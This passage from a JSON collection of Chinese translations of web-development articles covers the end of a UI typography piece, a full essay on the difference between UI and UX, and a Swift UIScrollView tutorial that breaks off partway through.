<span class=\"desc\">\n图片来源: [Filament Group](https://www.filamentgroup.com/lab/weight-wait.html)</span>\n\n通过在无障碍的方式下载字体，这可以轻松地调节，大幅度消减了内容加载时间。缺点是自定义字体加载的时候，我们需要从 [默认系统字体](http://www.granneman.com/webdev/coding/css/fonts-and-formatting/default-fonts/)中定义备用字体。\n\n\n![](http://ac-Myg6wSTV.clouddn.com/7351c4f5beff01c1bb7a.png) \n\n<span class=\"desc\">图片来源: [Filament Group](https://www.filamentgroup.com/lab/weight-wait.html)</span>\n\n### 10\\. 字体微调[#](https://viljamis.com/2016/typography-for-user-interfaces/#10-hinting \"Right click to copy a link to #10-hinting\")\n\n\n字体微调是字体适应屏幕可读的最大化的一个过程。 [Hinting](https://en.wikipedia.org/wiki/Font_hinting) \n尝试通过提供一系列不同尺寸下的指南使得向量曲线更好地适应像素网格。对于低分辨率屏幕实现清晰易读来说至关重要。\n\n微调最初是苹果公司创造的，但是自从 [TrueType font format](https://en.wikipedia.org/wiki/TrueType)这种被称作“微调”的淡出，我目前认为你只有在支持[IE8](https://en.wikipedia.org/wiki/Internet_Explorer_8) 或需要 [TTF](https://viljamis.com/2016/typography-for-user-interfaces/%28https://en.wikipedia.org/wiki/TrueType%29) 或[EOT format](https://en.wikipedia.org/wiki/Embedded_OpenType)的更低版本浏览器的时候会用到。\n\n![](http://ac-Myg6wSTV.clouddn.com/88f0ad59f7eab23c41fc.jpg) <span class=\"desc\">图片来源: [Typotheque](https://www.typotheque.com/articles/hinting)</span>\n\n## 前景[#](https://viljamis.com/2016/typography-for-user-interfaces/# \"Right click to copy a link to #\")\n\n对我们来说这是一个相对较短的旅程，我期待看到 web 字体的行为、[typographic tools](https://typecast.com/) 成熟化、以及 [font formats](https://en.wikipedia.org/wiki/Category:Font_formats) 个性和我们对于字体的使用方面有更多的进展，\n\n> 归根结底，好的字体能给每个人带来生产力，它甚至可以 [拯救你](https://www.propublica.org/article/how-typography-can-save-your-life).\n\n我想象这我们可以看到更多的[革新](https://en.wikipedia.org/wiki/Progressive_enhancement) 体验，文字本身的意义比我们所建议的字体设置更为重要<sup>[[6](http://nicewebtype.com/)]</sup>。它本质上是事物如何在 web 上运行，但我们才刚刚开始认真对待这个事情。\n\n理想的排版，我们同样需要尽可能多地了解用户的阅读界面。这似乎是理所当然的，但并非如此<sup>[[7](http://alistapart.com/column/responsive-typography-is-a-physical-discipline)]</sup> 。今后的字体对于周边的了解会使它开始对其他因素做出响应，例如 [视窗](https://en.wikipedia.org/wiki/Viewport)、[分辨率](https://en.wikipedia.org/wiki/Display_resolution)、[类渲染引擎](http://typerendering.com/) used、 [背景光线](https://developer.mozilla.org/en-US/docs/Web/API/Ambient_Light_Events)、[屏幕亮度](https://en.wikipedia.org/wiki/Lumen_%28unit%29) 甚至是 [视物距离](http://webdesign.maratz.com/lab/responsivetypography/)。\n\n我还预测到字体的易读性调整会最终和[系统辅助功能选项](http://www.apple.com/accessibility/ios/)想联系，字体就可以自动适应不同用户的需要。\n\n总之，我预见 UI 排版的未来就是一切传感器和字体格式可以对已知数据进行相应，最终是有情境认知、对我们的工作流集成了更多的智能算法的[新的排版工具](http://www.jon.gold/2016/05/robot-design-school/) 。\n\n所有的一切就是我们可以配合字体对处理的上下文进行更好的响应。\n\n![](http://ac-Myg6wSTV.clouddn.com/80d9d0e3f6fc41bfbe05.jpg) <span class=\"desc\">图片来源: [Luke Wroblewski](https://www.flickr.com/photos/lukew/10430507184/in/photostream/)</span>\n\n为了减少工作……\n![](http://ac-Myg6wSTV.clouddn.com/22b56fb16d9a52e6a0fb.jpg) <span class=\"desc\">\n\n图片来源: [Samsung GearVR](http://www.samsung.com/us/explore/gear-vr/)</span>\n\n…让我们的界面更快捷…\n![](http://ac-Myg6wSTV.clouddn.com/0dc8c285f6f0f0a33bf9.jpg) <span class=\"desc\">\n\n图片来源: [MozVR](https://mozvr.com/)</span>\n\n…更方便…\n\n![](http://ac-Myg6wSTV.clouddn.com/163c2a0f3290257250e5.jpg)<span class=\"desc\">\n\n图片来源: [Callan & Co](http://kallan.co/)</span>\n\n…最终更易读、高效…\n\n![](http://ac-Myg6wSTV.clouddn.com/452d1e7bcde24b7e1cc8.jpg)<span class=\"desc\">\n\n图片来源: [Microsoft Hololens](https://www.microsoft.com/microsoft-hololens/en-us)</span>\n\n…因为本质上讲，好的排版是为了方便人们的，他甚至可以 [拯救你的人生](https://www.propublica.org/article/how-typography-can-save-your-life).<span title=\"Made with love by @viljamis\" class=\"fleuron\"> ❦</span>\n\n**这篇文章大体上是基于我在一帕洛阿尔托个内部的设计研讨会 [Idean](http://www.idean.com/) 的内容,[可以查看幻灯片](https://viljamis.com/type-for-ui/).**\n[](https://twitter.com/intent/tweet?text=Typography+for+User%C2%A0Interfaces&url=http://viljamis.com/2016/typography-for-user-interfaces/&via=viljamis)\n\n"
  },
  {
    "path": "TODO/ui-vs-ux-what-is-the-difference.md",
    "content": "\n  > * 原文地址：[UI vs UX: What is the Difference?](https://www.sitepoint.com/ui-vs-ux-what-is-the-difference/)\n  > * 原文作者：[Darin Dimitroff](https://www.sitepoint.com/author/darin-dimitroff/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/ui-vs-ux-what-is-the-difference.md](https://github.com/xitu/gold-miner/blob/master/TODO/ui-vs-ux-what-is-the-difference.md)\n  > * 译者： [Nicolas(Yifei) Li](https://github.com/yifili09)\n  > * 校对者：[Frank(xfffrank)](https://github.com/xfffrank), [杨柳青](https://github.com/ylq167)\n\n  # UI 和 UX，区别在哪里？ \n\n  作为一位全能的产品设计师，我观察到很多年来这个行业内一直存在着对各种头衔的痴迷。当然，我们尽可以去嘲讽，同时发些搞笑的推文段子，但这样对谁有帮助呢？\n\n就好像“设计师应该敲代码么？”，这个“UX vs UI”的问题已经成为圈内人的玩笑了。\n\n[![](https://ws3.sinaimg.cn/large/006tNc79ly1fidh1mes79j30qa0qetbr.jpg)](https://twitter.com/sdw/status/709853249407361024/photo/1)\n\n[![](https://ws2.sinaimg.cn/large/006tNc79ly1fidh23pw82j30pw104td8.jpg)](https://twitter.com/ezyjules/status/797121630287888384/photo/1)\n\n一方面，这种趋势也给那些有经验的设计师一个发泄之处。事实上，有一个[Tumblr 博客专门为此而生](https://shittyuiuxanalogies.tumblr.com/)。\n\n然而，这会造成一个问题，对于新手来说这个行业看上去会很难上手苦难重重。但是惭愧的是，一个新手设计师进入行业的门槛从未如此低过。(我想说这其实很棒。)\n\n## 太长，所以别看 ：）\n\n**UI 代表了用户界面。** 它是用户可以在软件或者网页内直接交互的对象，例如那些你能看到、触摸到的和听到的。他就是一个应用程序的最外层 - 控制器。 \n\n目前状况来看 - 鉴于我们正在使用的设备类型 - 尽管语音和手写输入得到了广泛的认可，多亏了各种语音助手和语音交互，但是 UI 设计仍遵从可视化界面设计规范。 \n\n**UX 代表了用户体验。** 它是一个整体性的术语，囊括了用户使用一个产品时所涉及到的每种不同类型的接触点。 \n\n对于数字产品来说，UX 不仅包含了软件的前端展示，也包含了整个技术栈的实施、客户服务、品牌理念、企业的公共形象、产品的实用性、价格和客户沟通，当然不仅仅于此。\n\nUX 包含了 UI。两者有不同的意义，在任何时候都不应该混淆使用。从语义学的角度来看，“UX/UI 设计师” 这样的头衔是完全没有意义的。参照定义来说，每一个 UI 设计师都是 UX 设计师，不具备专业领域知识的 UX 设计师是很少见的。在缺乏具体领域知识的基础上讨论“UX”会让任何交谈变得没有意义。\n\n## 所以，“UI/UX 设计师”到底遇到了什么问题？\n\n就我看来，主要有三个问题：\n\n1. 它容易让人产生误解： 设计师、开发者、招聘人员、投资人等等。越来越多的初级设计师使用这个头衔 - 并且我没法责怪他们。每个人都那么做了，在这股趋势下，若你对自己的技能实力太诚实往往会让你觉得自己落伍了。\n2. 它让人队职业发展方向有错误想法，认为仅成为一个“UI 设计师”是远远不够的。如果数字产品像“神奇宝贝手游”一样，“UX/UI 设计师”不会是比“UI 设计师”更酷更高级的版本。\n3. 它大大地破坏了“UX 设计师”的重要性，而 UX 设计实际上是所有人工作的总和。\n\n## UI 是 UX 的**一部分**\n\n简单来说，人机交互发生在 UI 上。虽然这是重要的一部分，但是它也只是整个 UX 栈上的一层，它包括了很多设计原则。\n\n让我们看一下实际生活中的例子： 看电视。\n\n有关看电视的 UX 设计包括节目内容的质量、电视机的规格说明书、放置位置、配套家具、你目前精神状态等等。另一方面而言，**看电视的 UI设计**就只占一小部分了：遥控器的品质和在电视屏幕上菜单的设计。\n\n## 有关**这些**图片\n\n![UI vs UX analogies](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/08/1501634649path-e1501833312222.jpg)\nUI vs UX . Credit: [http://digitalfractal.com/](http://digitalfractal.com/)\n\n是的，**这些**图片。我不想让你们觉得我是那个辛普森动画中朝着天空吼叫的老人，但是大部分用于比较 UI 和 UX 的图片都没有戳中要点。一位名叫 Sebastian de With 的设计师在他一年前的[推文](https://twitter.com/sdw/status/709853249407361024)中也表达出了相同的观点。\n\n许多反复出现的图片（就好像这一个有两瓶番茄酱的图，还有一个展示了在草坪上的一条捷径）不仅仅缺乏意义，还有可能产生相反的效果。这些图片让 UI 和 UX 陷入对立面，也暗示着 UI 设计师的工作是没用的，因为用户已经采用其他方式使用这个产品。\n\n我们可以看下以下有关番茄酱的瓶子的这个例子并且修正它。我们将只需要使用一个瓶子，因为把两种不同的设计标记成“UI Vs UX”一点都没有意义：\n\n![UI vs UX analogies. Ketchup example](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/08/15016346441-cYDgrGRLkIioJxkHUjrqaA.jpeg)\n\n- **UI 层**是瓶子本身，包含了瓶盖和标签。这表示任何瓶子 - 而非仅是那个瓶口朝上摆放的版本[1](#fn1)\n- **UX 层**是一系列要素的组合，比如企业品牌和市场营销能力、番茄酱本身的营养和质量、具体在线上或者线下发现和购买产品的举动、在社交媒体网络上企业与客户的互动和每一个企业和他现有以及潜在客户之间的接触点。\n\n## UX 这个术语到底从哪里来？\n\nUI 的起源远早于 UX。它从早期计算机时期就被使用，因为他是一种科学通称。而 UX 要过了很久后才开始流行。\n\n在 90 年代中期，Don Norman 才让大众熟知了 UI 这个术语，他是 Nielsen Norman 集团的合伙人之一，他也是畅销书籍 ”The Design of Everday Things“ 的作者。刚开始的时候，UX 的含义很清晰，Don Norman 甚至还制作了[一个完整的视频](https://www.youtube.com/watch?v=9BdtGjoIN4E)来处理这个问题的细节。\n\n## UI 不仅仅是 GUI: 设计一个 API\n\n当我们考虑界面的时候，我们一般会提到图形化用户界面或者 GUIs。几乎当今我们使用的所有设备和系统都通过一系列可视化界面模型进行交互：操作窗口、图标、按钮、导航条、页面滑块、输入端口等等。\n\nUI 和 GUI 已经几乎同义了，这样也有好处：在日常工作中，大部分的用户需要直接使用基于指令/代码的工具。尽管如此，UI 并不仅是 GUI。\n\n在我的日常工作中，我关注于前端设计系统，所以设计一个系统中的面向开发人员层是我工作的一部分。既然这样，一个组件的 API 层就是给程序员使用的交互界面。设计和记录 API 层是我这些年来处理的最棘手的任务之一。\n\n即使你不敲代码，我也不建议你把时间花费在这类任务上，甚至把它作为一个个人挑战。许多现代化的框架，例如 React，在鼓励和执行团队合作上做得很棒，他们采用一种更有意义的方式，而不是共享一个 Sketch 文件，然后一天就这样结束了。\n\n## 拒绝伪二分法\n\n虽然在设计界，对某些头衔和语义上变得更加专业绝对是一件好事，但是过分讨论 ”UI Vs UX“这样的话题将会产生反作用。这是一个热门话题，我也完全赞同 Jared Spool 的观点：“**人人都是设计师。**”\n\n我已经数不清有多少来自开发者们非常棒的 UI 设计点子和来自视觉设计师的很有价值的 UX 改进建议。意识到你在公司组织中的拥有的头衔职责是很重要的 - 但仅限于这样的称谓不会阻碍你向其他领域发展。\n\n---\n\n1. 亨氏食品公司继续出售瓶口向上的玻璃瓶产品，因为还有情怀的老客户，也因为有不信任塑料包装的客户。[↩](#fnref1)\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/uiscrollview-tutorial.md",
    "content": ">* 原文链接 : [UIScrollView Tutorial: Getting Started](https://www.raywenderlich.com/122139/uiscrollview-tutorial)\n>* 原文作者 : [Corinne Krych](https://www.raywenderlich.com/u/ckrych)\n>* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n>* 译者 : [Zhongyi Tong (geeeeeeeeek)](https://github.com/geeeeeeeeek)\n>* 校对者: [Tuccuay](https://github.com/Tuccuay), [nathanwhy](https://github.com/nathanwhy)\n\n\n# UIScrollView 新手教程\n\n__Ray的温馨提示__：这是本站原先 Objective-C 热门教程的 Swift 升级版。Corinne Krych 将教程升级到了Swift, iOS 9 和 Xcode 7.1.1；[原文](https://www.raywenderlich.com/?p=10518)由教程团队成员 [Matt Galloway](http://www.raywenderlich.com/u/mattjgalloway) 编写。阅读愉快！\n\n`UIScrollView` 是 iOS 中最灵活和有用的控件之一。它是十分流行的 `UITableView` 控件的基础，能够友好地展示超过一屏的内容。在这份 `UIScrollView` 教程中，通过构建一个类似自带的「照片」应用，你将会掌握以下内容：\n\n*   如何使用 `UIScrollView` 来缩放图像，查看大图\n*   如何在缩放时保持 `UIScrollView` 的内容居中\n*   如何在自动布局时使用 `UIScrollView` 进行竖直滚动\n*   如何在键盘呼出时保持文本输入控件可见\n*   如何和 `UIPageControl` 一起使用 `UIPageViewController` ，实现内容多页连播\n\n这份教程假定你会使用 Interface Builder 给一个视图添加新的对象，连接你的代码和 StoryBoard 。在开始之前你需要熟悉 Storyboard ，所以如果你没有接触过的话，一定要看一下我们的[ Storyboard 教程(然而并没有翻译)](https://www.raywenderlich.com/?p=5138)。\n\n## 准备开始\n\n点击[这里](http://www.raywenderlich.com/wp-content/uploads/2016/01/PhotoScroll_Starter.zip)下载这份 `UIScrollView` 的初始项目，然后在 Xcode 中打开。\n\n编译并运行，看看我们最初的项目：\n\n![uiscrollview tutorial](http://www.raywenderlich.com/wp-content/uploads/2015/12/starter1.gif)\n\n选中图片时，你看到它变成了全屏。但遗憾的是，图片被裁剪了。由于设备尺寸的限制，你无法看到整张图片。你真正想要的是让图片默认适应设备的屏幕，并且能够放大观察细节，就像在 Photos 应用中一样。\n\n你能解决吗？当然了！\n\n## 大图滚动和缩放\n\n这份 `UIScrollView` 教程教给你的第一件事是，如何设置一个滚动视图，允许用户缩放、移动图片。\n\n首先，你需要添加一个滚动视图。打开 __Main.storyboard__ ，从 __Object Library__ 拖动一个 __Scroll View__ ，放到 __Zoomed Photo View Controller Scene__ 视图下的 Document Outline 。将 __Image View__ 移动到你新建的 __Scroll View__ 中。你的 Document Outline 现在应该是这样的：\n\n![](http://ww4.sinaimg.cn/large/005SiNxygw1f1ysxw8ed9j30jg09etbj.jpg)![](http://www.raywenderlich.com/wp-content/uploads/2016/01/Screen-Shot-2016-01-05-at-8.42.59-PM.png)\n\n看到红点了么？Xcode 正在提示你有一些自动布局的规则没有被正确地定义。为了解决这个问题，选中你的 __Scroll View__ ，点击 Storyboard 窗口底部的锁定按钮。添加四个新的约束：顶部、底部、前后间距。取消选中 __Constrain to margins__ ，将所有的约束值都设为 0。\n\n![](http://ww1.sinaimg.cn/large/005SiNxygw1f1yswkubkaj30fj0dwmyl.jpg)\n\n接下来选中 __Image View__ 并添加相同约束。\n\n选中 Document Outline 中的 __Zoomed Photo View Controller__ 来消除自动布局的警告，然后选择 Editor (编辑器)\\ Resolve Auto Layout Issues (解决约束问题)\\ Update Frames (更新控件位置)。\n\n最后，在 __Zoomed Photo View Controller__ 的 Attribute Inspector 中取消选中 __Adjust Scroll View Insets__ 。\n\n编译并运行。\n\n![uiscrollview tutorial](http://www.raywenderlich.com/wp-content/uploads/2015/12/starter2.gif)\n\n多亏了滚动视图，你现在可以滑动查看原尺寸的图片了。但如果你希望图片大小适应屏幕呢？或者如果你希望放大或缩小图片呢？\n\n准备好开始写代码了吗？\n\n打开 __ZoomedPhotoViewController.swift__ ，在类声明中，添加下面的 outlet 属性：\n\n```swift\n@IBOutlet weak var scrollView: UIScrollView!\n@IBOutlet weak var imageViewBottomConstraint: NSLayoutConstraint!\n@IBOutlet weak var imageViewLeadingConstraint: NSLayoutConstraint!\n@IBOutlet weak var imageViewTopConstraint: NSLayoutConstraint!\n@IBOutlet weak var imageViewTrailingConstraint: NSLayoutConstraint!\n```\n\n回到 __Main.storyboard__ ，为了将 __Scroll View__ 和 __Zoomed View Controller__ 协同工作，我们需要将它添加到 `scrollView` outlet ，将 __Zoomed View Controller__ 设置为 __Scroll View__ 的代理。同样地，将 __Zoomed View Controller__ 中新的约束 outlet 连接到 __Document Outline__ 中相应的约束，就像这样：\n\n![](http://ww1.sinaimg.cn/large/005SiNxygw1f1yt7ib5j1j30jg09etbj.jpg)![](http://www.raywenderlich.com/wp-content/uploads/2016/01/Screen-Shot-2016-01-05-at-8.53.38-PM.png)\n\n现在，你要开始接触到代码。在 __ZoomedPhotoViewController.swift__ 中，将 `UIScrollViewDelegate` 方法的实现添加为扩展：\n\n```swift\nextension ZoomedPhotoViewController: UIScrollViewDelegate {\n  func viewForZoomingInScrollView(scrollView: UIScrollView) -> UIView? {\n    return imageView\n  }\n}\n```\n\n这就是滚动视图缩放原理的关键。你告诉它捏住滚动视图时，哪个视图应该变大或变小。在这里，就是你的 `imageView` 。\n\n现在，将 `updateMinZoomScaleForSize(_:) ` 的实现添加到 `ZoomedPhotoViewController` 类：\n\n```swift\nprivate func updateMinZoomScaleForSize(size: CGSize) {\n  let widthScale = size.width / imageView.bounds.width\n  let heightScale = size.height / imageView.bounds.height\n  let minScale = min(widthScale, heightScale)  \n\n  scrollView.minimumZoomScale = minScale\n\n  scrollView.zoomScale = minScale\n}\n```\n\n你需要确定滚动视图的最小缩放比例。缩放比例的意思是内容以正常大小显示的比例。小于这个比例内容会被缩小，大于这个比例内容会被放大。为了确定最小缩放比例，你要计算图片的宽度需要缩小多少才能紧紧地贴合在滚动视图的边界上。然后对图片的高度做同样的事。这两者中更小的比例就是滚动视图的最小缩放比例。按这个比例缩小之后你可以看到整张图片。注意最大缩放比例默认为 1 。你不用修改这个比例，因为放大到超过了图片的分辨率会使图片看上去模糊。\n\n你可以将初始的缩放比例设为最小缩放比例，这样图像一开始就是完全缩小到适应屏幕的。\n\n最后，每次控制器更新子视图时更新最小缩放比例：\n\n```swift\noverride func viewDidLayoutSubviews() {\n  super.viewDidLayoutSubviews()\n\n  updateMinZoomScaleForSize(view.bounds.size)\n}\n```\n\n编译并运行。你可以看到下面的结果：\n\n![uiscrollview tutorial](http://www.raywenderlich.com/wp-content/uploads/2015/12/starter3.gif)\n\n手机竖放时图片填充了整个屏幕。你可以缩放图片，但还有一些小问题：\n\n*   图片被固定在视图顶部。如果能够居中就更好了。\n*   如果你将手机将手机水平过来，你的视图不会重新计算尺寸。\n\n还是在 __ZoomedPhotoViewController.swift__ 中，实现 `updateConstraintsForSize(size:)` 函数来解决这些问题：\n\n```swift\nprivate func updateConstraintsForSize(size: CGSize) {   \n\n  let yOffset = max(0, (size.height - imageView.frame.height) / 2)\n  imageViewTopConstraint.constant = yOffset\n  imageViewBottomConstraint.constant = yOffset\n\n  let xOffset = max(0, (size.width - imageView.frame.width) / 2)\n  imageViewLeadingConstraint.constant = xOffset\n  imageViewTrailingConstraint.constant = xOffset\n\n  view.layoutIfNeeded()\n}\n```\n\n这个方法解决了 `UIScrollView` 一个烦人的现象：如果滚动视图的内容尺寸小于视图边界，它会被固定在左上角而不是正中间。由于你允许用户随意缩放，如果图片能放置在视图中央就更好了。这个函数通过修改布局约束实现了这个特性。\n\n用 `view` 的高度减去 `imageView` 的高度除以二可以得到整个屏幕的垂直中心，你将可以用它来确定 `imageView` 的顶部和底部约束。\n\n类似地，你可以计算 `imageView` 左右间距的偏移量。\n\n在 `UIScrollViewDelegate` 扩展中，添加 `scrollViewDidZoom(_:)` 的实现：\n\n```swift\nfunc scrollViewDidZoom(scrollView: UIScrollView) {\n  updateConstraintsForSize(view.bounds.size)\n}\n```\n\n在这个函数中，每当用户滚动时都会重新居中视图——不然的话，缩放看上去不会那么自然，而是被固定在了左上角。\n\n现在，深呼吸，放轻松，编译并运行你的项目！按下一张图片，如果一切顺利的话，你可以对它双指缩放、单指拖拽和点按缩放 :]\n\n![uiscrollview tutorial](http://www.raywenderlich.com/wp-content/uploads/2015/12/starter4.gif)\n\n## 竖直滚动\n\n假设你想要改变一下 PhotoScroll ，在顶部显示图像，在下面添加评论区。取决于评论有多长，文字可能会超过设备的显示区域：让滚动视图来拯救你吧！\n\n__注意__：一般来说，自动布局将视图的上下左右边界作为可视边界。但是， `UIScrollView` 通过修改边界区域来滚动内容。为了和自动布局一起使用，滚动视图的边界事实上指的是内容视图的边界。\n\n为了在自动布局中设置滚动视图的边框大小，要么根据滚动视图的宽高显式指定约束，要么滚动视图边界必须贴合自身子树外侧的视图。\n\n你可以在 Apple 的[技术说明](https://developer.apple.com/library/ios/technotes/tn2154/_index.html)中了解更多。\n\n你会在实践中学到，如果使用 Storyboard 的自动布局来修复滚动视图的宽度，或是内容的真实宽度。\n\n### 滚动视图和自动布局\n\n打开 __Main.storyboard__ ，新建一个场景：\n\n首先，添加一个新的 __View Controller__ 。在 Size Inspector 中，将 __Simulated Size__ 的 __Fixed__ 替换为 __Freeform__ ，并输入宽度 340 、高度 800 。你会注意到控制器的布局变得更窄更长了，模拟长条形的竖直内容的行为。模拟尺寸帮助你在 Interface Builder 中可视化显示效果。它不会影响运行时的效果。\n\n在新建的视图控制器中的 Attribute Inspector 中取消选中 __Adjust Scroll View Insets__ 。\n\n添加一个滚动视图，填充整个视图控制器的空间。在视图管理器中添加首尾约束为常数 0 （确认取消选中了 __Constrain to margin__ ）。将 __Scroll View__ 中的顶部和底部约束分别添加到顶部和底部布局向导。它们的值应该也是常数0。\n\n添加一个 __Scroll View__ 的子视图，填充 __Scroll View__ 所有的空间。将它的 Storyboard __Label__ 重命名为 __Container View__ 。和以前一样，添加顶部、底部、前后约束。\n\n为了定义滚动视图的大小，并修复自动布局的错误，你需要定义它的内容大小。定义 __Container View__ 的宽度贴合视图控制器。将 __View Controller__ 主视图的宽度约束设置与 __Container View__ 一致。将 __Container View__ 的高度约束设置为 500 。\n\n__注意__：自动布局的规则必须完备地定义滚动视图的 `contentSize` 。这是在自动布局下让滚动视图正确显示大小的关键一步。\n\n在 __Container View__ 内添加一个 __Image View__ 。在 Attribute Inspector 中：将图像指定为 __photo1__ ，选择 __Aspect Fit__ 模式，选中 __Clip Subviews__ 。像之前一样给 Container View 添加顶部、首尾约束。为图片视图添加高度约束为 300 。\n\n在 __Container View__ 中的图片下方添加一个 __Label__ 。指定文字为“ __What name fits me best?__ ”。在 __Container View__ 中添加一个水平居中的宽度约束。添加与 __Photo View__ 的竖直间距约束为 0 。\n\n在 __Container View__ 内新建的标签下方添加一个 __Text Field__ 。在 __Container View__ 中添加值为 8 的首尾约束，无外边距。添加与标签的竖直间距约束为30。\n\n最后，通过联线 (segue) 连接新建的视图控制器和另一个屏幕。移除已有的 __Photo Scroll__ 场景和 __Zoomed Photo View Controller__ 场景之间的push联线。不要担心，你在 __Zoomed Photo View Controller__ 中所做的会在后面加回到应用中。\n\n在 __Photo Scroll__ 场景中，将 __PhotoCell__ 拖到视图控制器中，添加一个 __show__ 联线. 命名为 __showPhotoPage__ 。\n\n编译并运行。\n\n![](http://ww2.sinaimg.cn/large/005SiNxygw1f1yt3f7egoj307n0dwwfc.jpg)\n\n你可以看到布局在竖直方向是正确的。试着将手机水平旋转。在水平模式下，没有足够的竖直空间来显示所有内容，尽管滚动视图使你能够滚动查看标签和文本框。不幸的是，因为新的视图控制器中的图片被写死在代码里，显示的并不是你在合辑视图中选中的那张图片。\n\n为了修复这个问题，你需要在联线被执行时将图片传送到视图控制器。因此，创建一个新的文件，使用 __iOS\\Source\\Cocoa Touch Class__ 模板。将类命名为 __PhotoCommentViewController__ ，将子类设置为 __UIViewController__ 。确认语言设为了 __Swift__ 。点击下一步，保存以备后用。\n\n用下面的代码更新 __PhotoCommentViewController.swift__ ：\n\n```swift\nimport UIKit\n\npublic class PhotoCommentViewController: UIViewController {  \n  @IBOutlet weak var imageView: UIImageView!\n  @IBOutlet weak var scrollView: UIScrollView!\n  @IBOutlet weak var nameTextField: UITextField!\n  public var photoName: String!\n\n  override public func viewDidLoad() {\n    super.viewDidLoad()\n    if let photoName = photoName {\n      self.imageView.image = UIImage(named: photoName)\n    }\n  }\n}\n```\n\n更新后的 `PhotoCommentViewController` 实现添加了 `IBOutlet` ，并根据 `photoName` 设置 `imageView` 的图片。\n\n回到 Storyboard ，打开 __View Controller__ 中的 __Identity Inspector__ ，将 __Class__ 设置为 __PhotoCommentViewController__ 。打开 __Connections Inspector__ ，连接 `PhotoCommentViewController` 中滚动视图、图像、文本框的 __IBOutlet__ 。\n\n打开 __CollectionViewController.swift__ ，将 `prepareForSegue(_:sender:)` 替换为下面的代码：\n\n```swift\noverride func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {\n  if let cell = sender as? UICollectionViewCell,\n      indexPath = collectionView?.indexPathForCell(cell),\n      photoCommentViewController = segue.destinationViewController as? PhotoCommentViewController {\n    photoCommentViewController.photoName = \"photo\\(indexPath.row + 1)\"\n  }\n}\n```\n\n当你轻按一张图片时，这张图片的名称会被显示在 `PhotoCommentViewController` 。\n\n编译并运行。\n\n![](http://ww3.sinaimg.cn/large/005SiNxygw1f1yszwdwhrj307n0dwaay.jpg)\n\n内容优雅地显示在了视图中，必要时允许你向下滚动查看更多内容。你会注意到键盘带来的两个问题：首先，输入文字时，键盘遮住了文本框。其次，键盘无法隐藏。怎么办呢？\n\n### 键盘\n\n__键盘偏移量__\n\n和使用 `UITableViewController` 不同，前者会将内容移出屏幕键盘遮挡的区域，而使用 `UIScrollView` 时，你需要自己处理键盘的显示。\n\n视图控制器可以通过监听 iOS 发送的 `NSNotifications` 来获知键盘呼出，从而调整内容。通知包含了一组几何和动画参数，用于将内容丝滑地移出键盘区域。 你首先要更新代码来监听这些通知。打开 __PhotoCommmentViewController.swift__ ，在 `viewDidLoad()` 底部添加这些代码：\n\n```swift\nNSNotificationCenter.defaultCenter().addObserver(\n  self,\n  selector: \"keyboardWillShow:\",\n  name: UIKeyboardWillShowNotification,\n  object: nil\n)\n\nNSNotificationCenter.defaultCenter().addObserver(\n  self,\n  selector: \"keyboardWillHide:\",\n  name: UIKeyboardWillHideNotification,\n  object: nil\n)\n```\n\n当视图加载后，你会开始监听通知，获知键盘出现或消失。\n\n接下来，添加下面的代码，在对象生命周期结束时停止监听通知：\n\n```swift\ndeinit {\n  NSNotificationCenter.defaultCenter().removeObserver(self)\n}\n```\n\n接下来在视图控制器中添加下面的方法：\n\n```swift\nfunc adjustInsetForKeyboardShow(show: Bool, notification: NSNotification) {\n  let userInfo = notification.userInfo ?? [:]\n  let keyboardFrame = (userInfo[UIKeyboardFrameBeginUserInfoKey] as! NSValue).CGRectValue()\n  let adjustmentHeight = (CGRectGetHeight(keyboardFrame) + 20) * (show ? 1 : -1)\n  scrollView.contentInset.bottom += adjustmentHeight\n  scrollView.scrollIndicatorInsets.bottom += adjustmentHeight\n}\n\nfunc keyboardWillShow(notification: NSNotification) {\n  adjustInsetForKeyboardShow(true, notification: notification)\n}\n\nfunc keyboardWillHide(notification: NSNotification) {\n  adjustInsetForKeyboardShow(false, notification: notification)\n}\n```\n\n`adjustInsetForKeyboardShow(_:,notification:)` 接受推送到的通知中的键盘高度，从滚动视图的 `contentInset` 中加上或减去 20 的内间距。这样， `UIScrollView` 就会向上或向下滚动，使 `UITextField` 总是在屏幕上可见。\n\n当通知被触发时， `keyboardWillShow(_:)` 或 `keyboardWillHide(_:)` 之一会被调用。这些方法会接着调用 `adjustInsetForKeyboardShow(_:,notification:)` ，指示视图滚动的方向。\n\n__隐藏键盘__\n\n为了隐藏键盘，将这个方法加到 `PhotoCommentViewController.swift` 中去：\n\n```swift\n@IBAction func hideKeyboard(sender: AnyObject) {\n  nameTextField.endEditing(true)\n}\n```\n\n这个方法会取消文本框的第一响应对象状态，随之关闭键盘。\n\n最后，打开 __Main.storyboard__ 。从 __Object Library__ 拖一个 __Tap Gesture Recognizer__ 到根视图下。接下来，将它和 __Photo Comment View Controller__ 中的 `hideKeyboard(_:) IBAction` 连接起来。\n\n编译并运行。\n\n![uiscrollview tutorial](http://www.raywenderlich.com/wp-content/uploads/2016/01/visit-2.gif)\n\n按下文本框，然后按下屏幕其他区域。键盘应该根据屏幕内容正确地显示或隐藏。\n\n## 使用 UIPageViewController 连播视图\n\n在这份 `UIScrollView` 教程的第三部分，你将要创建一个允许连播的滚动视图。这意味着在你停止滑动时，滚动视图会锁定在一页上。当你在 App Store 查看应用截图时，你会看到这个操作。\n\n__添加 UIPageViewController __\n\n回到 __Main.storyboard__ ，从对象库面板拖一个 __Page View Controller__ 。打开 Identifier Inspector ， __Storyboard ID__ 输入 __PageViewController__ ，在 